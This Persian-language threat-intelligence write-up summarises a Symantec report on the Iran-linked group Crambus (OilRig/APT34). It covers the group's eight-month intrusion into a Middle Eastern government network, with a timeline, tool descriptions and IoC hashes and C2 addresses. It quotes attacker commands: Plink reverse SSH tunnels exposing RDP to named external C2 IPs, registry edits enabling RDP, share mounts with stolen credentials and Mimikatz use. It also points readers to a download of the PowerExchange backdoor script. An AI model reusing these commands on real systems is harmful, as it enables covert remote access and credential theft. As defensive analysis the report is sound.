محققای symantec گزارشی در خصوص یه گروه منتسب به دولت ایران، بنام Crambus منتشر کردن که به مدت 8 ماه در شبکه دولتی یه کشور در خاورمیانه حضور داشتن.
Crambus که با نامهای OilRig ، MuddyWater و APT34 هم شناخته میشه،یه گروه هکری قدیمی هستش که عملیاتی رو علیه کشورهای عربستان، اسرائیل، امارات ، عراق ، اردن، لبنان ، کویت ، قطر ، آلبانی ، آمریکا و ترکیه انجام داده. عمدتا با جاسوسی و جمع آوری اطلاعات بصورت طولانی مدت شناخته میشه و در سالهای اخیرا ، تکنیک های مهندسی اجتماعی پیشرفته ای رو به مراحل اولیه حملات خودش اضافه کرده.
سال پیش، وقتی مایکروسافت، این گروه رو به هک معروف آلبانی مرتبط کرد، دوباره مورد توجه قرار گرفت. در اون گزارش مایکروسافت معتقد بود که این گروه دسترسی های اولیه و استخراج داده ها رو انجام داده و بازیگران دیگه ، Wiper ها رو مستقر کردن.
این گروه در حمله اخیرشون تونستن، بین فوریه/بهمن 1401 تا سپتامبر 2023/شهریور 1402 در شبکه دولتی یه کشور در خاورمیانه دسترسیشون رو حفظ و یسری فایل و رمز عبور سرقت کنن. فعالیت مخرب حداقل در 12 کامپیوتر رخ داده و شواهدی وجود داره که نشون میده مهاجمین، یسری بکدور و کیلاگر رو در ده ها کامپیوتر دیگه مستقر کردن.
ابزارهای مورد استفاده :
در این حمله این گروه از یسری بکدور اختصاصی و یسری ابزار living-off-the-land و قانونی استفاده کردن. سه تا از این بدافزارها ناشناخته بودن و بکدور PowerExchange اگرچه شناخته شده بوده، اما اونو به این گروه مرتبط نکرده بودن.
- بکدور Tokel : قابلیت اجرای دستورات پاورشل و دانلود برنامه ها رو داره. آدرس C2 در یه فایلی بنام token.bin با RC4 ذخیره میشه.
- تروجان Dirps : برای شمارش فایلهای داخل یه دایرکتوری و اجرای دستورات پاورشل استفاده میشه.
- سارق اطلاعات Clipog : یه بدافزار از نوع Information stealing که امکان سرقت داده ها از کلیپ بورد،لاگ کلید های فشرده شده و پروسس هایی که کلیدها در اون زده شدن، داره.
- بکدور PowerExchange : یه بدافزار مبتنی بر پاورشل که میتونه از طریق اعتبارنامه های هاردکد شده ، به Exchange Server ها لاگین کنه و ایمیلهایی که از طریق مهاجمین ارسال میشه رو مونیتور کنه. این بدافزار از Exchange Server بعنوان C2 استفاده میکنه و با توجه به اینکه اتصالات داخلی در Exchange Server ترافیک نرمالی دارن، اونو از مشکوک بودن و … دور میکنه. بدافزار دستورات رو از طریق ایمیلهایی که موضوعشون @@ هست دریافت و اجرا میکنه. دستوراتی هم که اجرا میکنه، دستورات پاورشل، نوشتن و سرقت فایلهاست. بدافزار یه رول Exchange بنام defaultexchangerules برای فیلتر کردن این پیامها ایجاد میکنه و اونارو بصورت خودکار به فولدر Deleted Items منتقل میکنه. اسکریپت این بکدور رو میتونید از طریق گیتهابمون دانلود کنید.
- Mimikatz : یه ابزار برای استخراج اعتبارنامه ها که در دسترس عموم
- Plink : یه ابزار اتصال Command line ای برای کلاینتهای PuTTY SSH ،که برای port-forwarding استفاده کردن.
همچنین از RDP برای اتصال از راه دور و دستکاری Windows firewall برای فعال کردن این اتصال از راه دور استفاده کردن.
جدول زمانی حمله :
اولین شواهد فعالیت مخرب در شبکه قربانی در 1 فوریه رخ داده که یه اسکریپت پاورشلی بنام joper.ps1 از یه دایرکتوری مشکوک CSIDL_PROFILE\public\sat
اجرا کردن. این اسکریپت چندین بار در طول یک هفته در همون کامپیوتر (Computer 1) اجرا شده.
چهار روز بعد، در 5 فوریه، مهاجمین به کامپیوتر دوم ، (Computer 2) ، دسترسی پیدا کردن و یه نسخه تغییر نام داده شده Plink بنام msssh.exe رو در این سیستم مستقر کردن و ازش برای تنظیم رولهای port-forwarding برای ایجاد RDP از یه هاست راه دور استفاده کردن :
1 |
CSIDL_PROFILE\public\sat\msssh.exe 151.236.19[.]91 -P [REMOVED]-C -N -R 0.0.0.0:54231:127.0.0.1:3389 -l [REMOVED] -pw [REMOVED] |
این نسخه تغییر نام داده شده Plink تا 12 فوریه چندین بار روی این سیستم اجرا شده.
در 21 فوریه، فعالیت مخرب مهاجمین، با اجرای دستور netstat برای جمع آوری لیست همه اتصالات TCP و UDP ، روی یه وب سرور (Web Server 1) شروع شده.
1 |
netstat /an |
در دستور بالا :
- a : مشخص کننده نمایش همه ی اتصالات و پورتهای فعال هستش.
- n : مشخص کننده نمایش آدرس های عددی بجای تعیین hostnames به آدرس های IP هستش.
در ادامه دوباره mssh.exe اجرا شده تا دسترسی RDP از راه دور رو فعال کنه. در ادامه از طریق یه اسکریپت پاورشلی تونستن یه درایو C مرتبط با یه کامپیوتر دیگه در شبکه رو مانت کنن.
8 آوریل، مهاجمین به کامپیوتر سوم (Computer 3) دسترسی پیدا کردن که یه نسخه دیگه ای از Plink رو از مسیر %USERPROFILE%\public
اجرا میکرده که در همه اینترفیس های در دسترس ، پورت 3389 رو به پورت 999 انتقال میده:
1 |
CSIDL_PROFILE\public\plink.exe [REMOVED] -pw [REMOVED] -P [REMOVED] -2 -4 -T -N -C -R 0.0.0.0:999:127.0.0.1:3389 |
در دستور بالا :
- 4- 2- : مشخص کننده ، فعال کردن نسخه دو SSH و پروتکل IPv4 برای اتصالات هستش.
- T : یه ترمینال برای remote session درخواست میکنه.
- N : از اجرای دستور از راه دور جلوگیری میکنه و معمولا برای تنظیم یه پورت استفاده میشه.
- R 0.0.0.0:999:127.0.0.1:3389 : ریموت port forwarding رو مشخص میکنه. به سرور ریموت دستور میده روی پورت 999 در همه اینترفیس های شبکه (0.0.0.0) فعال باشه و هر اتصال ورودی رو به پورت 3389 ، (127.0.0.1:3389) در ماشین محلی (سیستمی که دستور در اون اجرا میشه) انتقال بده . این کار باعث ایجاد یه تونل میشه که مهاجمین میتونن از طریق SSH به یه سرویس راه دور مانند RDP دسترسی داشته باشن.
در ادامه در همون تاریخ، یه فایل batch اجرا میشه که نتایج این اجرا رو به یه فایل متنی در مسیر %USERPROFILE%\public
هدایت میکنه.
1 |
cmd /c CSIDL_PROFILE\public\p2.bat > CSIDL_PROFILE\public\001.txt 2>&1 |
بعد اجرای این فایل، بلافاصله بازم همون دستور Plink برای بار دوم اجرا شده و در ادامه همون اسکریپت batch چندین بار اجرا شده.
بعدا در همون روز ، میمیکتز رو از فولدر %TEMP%
برای دامپ اعتبارنامه ها اجرا کردن.
در 9 آوریل، دستور netstat رو روی یه سیستم آلوده جدید که یه Domain Controller (Computer 4) بوده اجرا کردن:
1 |
netstat /aon |
در دستور بالا O ، نشون دهنده PID پروسسی هستش که داره از شبکه استفاده میکنه. این دستور لیستی از همه ی اتصالات فعال ، هم ترافیک ورودی و هم خروجی، بهمراه PID مرتبط با این اتصالات رو ارائه میده. سه ساعت بعدش دوباره از میمیکتز برای دامپ اعتبارنامه ها استفاده کردن.
روز بعدش، 10 آوریل، یه فایل batch بنام p.bat روT روی Computer 3 اجرا کردن و در ادامه دستور زیر :
1 |
plink.exe ssh 78.47.218[.]106 1234qweRRR 443 10999 10.75.45.222 3389 |
در دستور بالا :
- SSH : مشخص کننده استفاده از SSH برای اتصال هستش.
- IP:78.47.218[.]106 : آدرس IP سرور ریموت که میخوان با SSH بهش وصل بشن رو نشون میده.
- 1234qweRRR : مانند یه پسورد برای احرازهویت به سرور ریموت استفاده میشه.
- 443 : پورت اتصال در سرور ریموت
- 10999 : پورت لوکال که Plink برای ایجاد تونل ازش استفاده میکنه.
- IP:10.75.45.222 : آدرس IP ماشین یا شبکه محلی
- 3389 : پورت RDP . مشخص کننده انتقال ترافیک از پورت 3389 سرور راه دور به ماشین محلی برای دسترسی به ریموت دسکتاپ.
این دستور یه port forwarding tunnel از ماشین آلوده ، برای دسترسی به سرویس RDP سرور ریموت ، که انگار بصورت لوکال در حال اجراست، فراهم میکنه.
در 23 آوریل، مهاجمین بدافزار جدید Tokel رو با نام telecomm.exe در Computer 3 اجرا کردن.
در 7 مه یه دستور پاورشلی مشکوک روی Domain Controller (Computer 4) برای اجرای یه اسکریپت پاورشلی نامشخص بنام hwf.ps1 اجرا کردن.
به نظر میرسه فعالیتهای مخرب تقریبا برای یه ماه متوقف شده ، تا اینکه در 4 ژوئن دوباره Tokel روی Computer 3 اجرا شده.
17 ژوئن یه دستور مشکوک پاورشلی روی Domain Controller (Computer 4) برای اجرای یه اسکریپت ناشناخته دیگه بنام zone.ps1 اجرا شده.
در 20 ژوئن ، بکدور PowerExchange با نام setapp.ps1 روی Computer 3 اجرا شده. این اسکریپت ، 4 نوع دستور رو اجرا میکنه :
- اگه ضمیمه ای بهمراه ایمیل باشه، اونو با Base64 دیکد میکنه و با پاورشل اجراش میکنه.
- cf : در بدنه ایمیل دستور رو با Base64 دیکد میکنه و با پاورشل اجراش میکنه. نتیجه از طریق ایمیل به مهاجم ارسال میشه.
- uf : مسیر و محتوای فایل رو با Base64 دیکد میکنه و با استفاده از WriteAllBytes فایل رو روی سیستم مینویسه.
- df : یه فایل مشخصی رو با Base64 انکد میکنه و با ایمیل به مهاجم ارسال میکنه. اگه اندازه فایل بزرگتر از 5 مگابایت باشه، متن Size is Greater than 5 MB رو ارسال میکنه.
در 1 جولای ، مهاجمین دوباره از mssh.exe برای باز کردن یه تونل روی Computer 3 از طریق انتقال RDP به پورت 12345 روی همه اینترفیس های فعال استفاده کردن تا عملا امکان اتصال خارجی از طریق RDP به ماشین آلوده رو فراهم کنن.
روز بعدش، 2 جولای، مهاجمین از دستور netstat برای بدست آوردن همه ی پورتهای باز و فعال TCP و UDP استفاده کردن. این کار احتمالا برای بررسی فعال بودن تونل SSH انجام شده.
در 8 جولای ، مهاجمین با استفاده از Domain Controller (Computer 4) یه سرویس در یه ریموت هاست IP:10.75.45[.]222 برای اجرای یه اسکریپت ناشناخته بنام pl.bat استفاده کردن. سرویس رو هم جوری تنظیم کردن که بصورت خودکار هنگام بالا اومدن سیستم، اجرا بشه.
در دو روز بعدی، یعنی 9 و 10 جولای، یه بدافزار جدید بنام Dirps با نام فایل virtpackage.exe چندین بار روی Computer 3 اجرا شده.
11 جولای، مهاجمین بدافزارهای بیشتری رو روی Computer 3 مستقر کردن از جمله بدافزار سارق اطلاعات Clipog با نام poluniq.exe .
فرداش ، 12 جولای، مهاجمین میمیکتز رو روی Domain Controller (Computer 4) برای دامپ اعتبارنامه ها اجرا کردن.
15 جولای، مهاجمین دو تا اسکریپت ناشناخته ، zone.ps1 و copy.ps1 روی Domain Controller (Computer 4) اجرا کردن.
18 جولای، مهاجمین دوباره Clipog رو روی Computer 3 اجرا کردن و در ادامه یه تونل SSH با Plink روی اون ایجاد کردن. این تونل دوباره در 3 آگوست ایجاد شده.
6 آگوست، یه اسکریپت ناشناخته بنام tnc.ps1 روی Domain Controller (Computer 4) اجرا شده و بلافاصله Nessus برای اسکن آسیب پذیریها بخصوص آسیب پذیریهای Log4j روی سایر ماشین های شبکه انجام شده. اگرچه این میتونست یه فعالیت اسکن قانونی باشه، در ادامه netsh رو برای نمایش همه رولهای فایروال اجرا کردن :
1 |
CSIDL_SYSTEM\netsh.exe advfirewall firewall show rule name=[REMOVED] verbose |
در ادامه یه اسکریپت پاورشلی دیگه اجرا شده که احتمالا برای جمع آوری اطلاعات در خصوص local user group ها و اعضای اونا در یه سیستم ویندوزی توسعه داده شده. خروجی اون اطلاعاتی در خصوص SID ، names ، object classes و local user group و اعضاشون در یه فرمت ساختاری خاص هستش :
1 |
CSIDL_SYSTEM\windowspowershell\v1.0\powershell -NoProfile -Command ;& {$j = sajb {$ErrorActionPreference = 'SilentlyContinue';$groups = Get-LocalGroup | Select-Object Name, Domain, SID;foreach($g in $groups){-join($g.SID,'|',$g.Name);$members = Get-LocalGroupMember -SID $g.SID | Select *;foreach($m in $members){-join(' ',$m.SID,'|',$m.Name,'|',$m.ObjectClass,'|',$m.PrincipalSource);}}};$r = wjb $j -Timeout 300; rcjb $j;}; |
بعدش net.exe رو اجرا کردن تا لیست همه درایوهای مپ شده رو بدست بیارن و در ادامه با استفاده از WMI ابزار Plink رو اجرا کردن تا با استفاده از port-forwarding روی سیستم آلوده، دسترسی به RDP داشته باشن.
در 7 و 12 آگوست، Plink از طریق اینترنت روی Domain Controller (Computer 4) دانلود و در مسیر \ProgramData\Adobe.exe
ذخیره شد.
30 آگوست، مهاجمین به وب سرور دوم ، (Web Server 2) دسترسی پیدا کردن . ابتدا با استفاده از Plink برای فعال کردن دسترسی به RDP روی پورت 12345 ، از C2 خودشون IP:91.132.92[.]90 استفاده کردن. بعدش Clipog رو با نام tool.exe روش مستقر کردن.
فرداش، 31 آگوست، مهاجمین دوباره یه تونل برای دسترسی به RDP روی پورت 4455 از C2 توشون باز کردن. خروجی هم به یه فایل متنی بنام 001 انتقال میدادن. احتمالا مشکلاتی در اتصال بوجود اومده، چون هکرها دوباره همون تونل رو روی پورت 12345 ایجاد کردن.
یک سپتامبر ، مهاجمین روی سه کامپیوتر دیگه ، (Computer 5, Computer 6 and Computer 7) ، تمرکز کردن که از Certutil برای دانلود Plink روی هر سیستم استفاده کردن. بعدش یه اسکریپت ناشناخته بنام joper.ps1 روی Web Server 2 اجرا کردن.
2 سپتامبر، هکرها دستور netstat زیر رو روی Web Server 2 اجرا کردن :
1 |
netstat -a |
این دستور برای نمایش همه اتصالات فعال استفاده میشه. در ادامه دوباره اسکریپت joper.ps1 رو اجرا کردن.
3 سپتامبر دوباره اسکریپت joper.ps1 رو اجرا کردن و در ادامه دستورات مشکوک Wireshark زیر رو اجرا کردن :
1 2 3 |
;CSIDL_SYSTEM_DRIVE\program files\wireshark\extcap\usbpcapcmd.exe; --extcap-interfaces --extcap-version=4.0 ;CSIDL_SYSTEM_DRIVE\program files\wireshark\dumpcap.exe; -D -Z none |
usbcapcmd برای ضبط ترافیک USB در دستگاههای USB مشخص شده و ذخیره داده های جمع آوری شده در یه فایل استفاده میشه. در دستور بالا :
- extcap-interfaces: لیستی از اینترفیس های ضبط خارجی (external capture) قابل دسترس رو مشخص میکنه.
- extcap-version=4.0 : نسخه ی Extcap روی 4 تنظیم میکنه، این کار برای سازگاری با وایرشارک انجام میشه.
dumpcap هم همون کار usbcapcmd ، برای ترافیک شبکه انجام میده. در دستور بالا :
- D: برای مشخص کردن لیستی از همه ی اینترفیس های جمع آوری موجود استفاده میشه.
- Z none : فیلتر جمع آوری ترافیک رو روی none ست میکنه، یعنی همه بسته های موجود روی یه اینترفیس، باید جمع آوری بشن.
به نظر مهاجمان به هر شبکه و USB موجود علاقمند بودن تا اطلاعات اونو جمع آوری کنن.
بعد از دستور بالا، مهاجمین بلافاصله دستور مشکوک netstat زیر رو زدن :
1 |
netstat -a –n |
بعد از این دستور، اسکریپت joper.ps1 اجرا کردن و بعدش یسری دستورات رجیستری روی Computer 3 اجرا کردن :
1 2 3 4 5 6 7 8 9 |
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f |
این دستورات برای دستکاری تنطیمات سیستم برای فعال کردن Terminal Services از طریق RDP انجام میشه.
چند ساعت بعدش، دستور مشکوک net.exe اجرا شده تا با استفاده از اطلاعات کاربری سرقت شده، c$ share یه ماشین دیگه رو مانت کردن.
1 |
;CSIDL_SYSTEM\net.exe; use \\[REMOVED]\c$ /user:[REMOVED] [REMOVED] |
در 4 سپتامبر، هکرها سه نوع مختلف از اسکریپت joper.ps1 رو روی Web Server 2 اجرا کردن. در ادامه یه نوع جدیدی از Tokel رو روی Computer 1 مستقر کردن.
روز بعدش، 5 سپتامبر، یه بار دیگه ، اسکریپت joper.ps1 رو روی Web Server 2 اجرا کردن. همچنین با استفاده از net.exe ، یسری network share رو mount/unmount کردن. بعدش دوباره Tokel رو روی Computer 3 اجرا کردن. همچنین این بدافزار رو روی Computer 9 و Computer 10 هم مستقر کردن.
فعالیت های مخرب تا 9 سپتامبر ادامه داشته و عمده توجه هکرها به Web Server 2 بوده، اسکریپت joper.ps1 رو اجرا کردن و network share ها رو mounting/unmounting کردن.
IoCهای گزارش :
4d04ad9d3c3abeb61668e52a52a37a46c1a60bc8f29f12b76ff9f580caeefba8 – Backdoor.Tokel
41672b08e6e49231aedf58123a46ed7334cafaad054f2fd5b1e0c1d5519fd532 – Backdoor.Tokel
497e1c76ed43bcf334557c64e1a9213976cd7df159d695dcc19c1ca3d421b9bc – Trojan.Dirps
75878356f2e131cefb8aeb07e777fcc110475f8c92417fcade97e207a94ac372 – Infostealer.Clipog
d884b3178fc97d1077a13d47aadf63081559817f499163c2dc29f6828ee08cae – Backdoor.PowerExchange
a1a633c752be619d5984d02d4724d9984463aa1de0ea1375efda29cadb73355a – PowerShell script
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell script
6b9f60dc91fbee3aecb4a875e24af38c97d3011fb23ace6f34283a73349c4681 – PowerShell script
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell script
be6d631fb2ff8abe22c5d48035534d0dede4abfd8c37b1d6cbf61b005d1959c1 – PowerShell script
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell script
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell script
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell script
6bad09944b3340947d2b39640b0e04c7b697a9ce70c7e47bc2276ed825e74a2a – PowerShell script
ba620b91bef388239f3078ecdcc9398318fd8465288f74b4110b2a463499ba08 – PowerShell script
d0bfdb5f0de097e4460c13bc333755958fb30d4cb22e5f4475731ad1bdd579ec – PowerShell script
5a803bfe951fbde6d6b23401c4fd1267b03f09d3907ef83df6cc25373c11a11a – PowerShell script
1698f9797f059c4b30f636d16528ed3dd2b4f8290e67eb03e26181e91a3d7c3b – PowerShell script
23db83aa81de19443cafe14c9c0982c511a635a731d6df56a290701c83dae9c7 – PowerShell script
41ff7571d291c421049bfbd8d6d3c51b0a380db3b604cef294c1edfd465978d9 – PowerShell script
c488127b3384322f636b2a213f6f7b5fdaa6545a27d550995dbf3f32e22424bf – PowerShell script
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell script
927327bdce2f577b1ee19aa3ef72c06f7d6c2ecd5f08acc986052452a807caf2 – PowerShell script
a6365e7a733cfe3fa5315d5f9624f56707525bbf559d97c66dbe821fae83c9e9 – PowerShell script
c3ac52c9572f028d084f68f6877bf789204a6a0495962a12ee2402f66394a918 – PowerShell script
7e107fdd6ea33ddc75c1b75fdf7a99d66e4739b4be232ff5574bf0e116bc6c05 – PowerShell script
78.47.218[.]106 – Plink C&C
192.121.22[.].46 – Plink C&C
151.236.19[.]91 – Plink C&C
91.132.92[.]90 – Plink C&C